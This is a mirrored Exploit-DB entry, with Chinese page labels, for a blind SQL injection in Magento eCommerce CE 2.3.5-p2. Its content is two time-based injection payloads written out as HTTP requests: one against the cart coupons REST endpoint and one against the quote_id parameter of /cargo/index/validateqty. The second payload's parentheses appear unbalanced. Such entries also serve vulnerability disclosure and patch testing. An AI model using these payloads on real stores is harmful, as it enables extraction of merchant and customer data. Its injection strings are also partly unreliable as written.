Magento eCommerce CE v2.3.5-p2 – Blind SQLi

• Exploit Database
• 109 阅读

• 作者： Aydin Naserifard
  日期： 2022-05-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50896/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

  Exploit Title: Magento eCommerce CE v2.3.5-p2 - Blind SQLi # Date: 2021-4-21 # Exploit Author: Aydin Naserifard # Vendor Homepage: https://www.adobe.com/ # Software Link:https://github.com/magento/magento2/releases/tag/2.3.5-p2 # Version: [2.3.5-p2] # Tested on: [2.3.5-p2]   POC:   1)PUT /rest/default/V1/carts/mine/coupons/aydin&apos;+%2f+if(ascii(substring(database(),3,1))=100,sleep(5),0)%23   2)POST /cargo/index/validateqty [quote_id parameter] quote_id=100499%2fif(substring(database(),1,1))="97",sleep(5),1000)+and+<code>parent_item_id</code>+IS+NULL+GROUP+BY+<code>sku</code>%23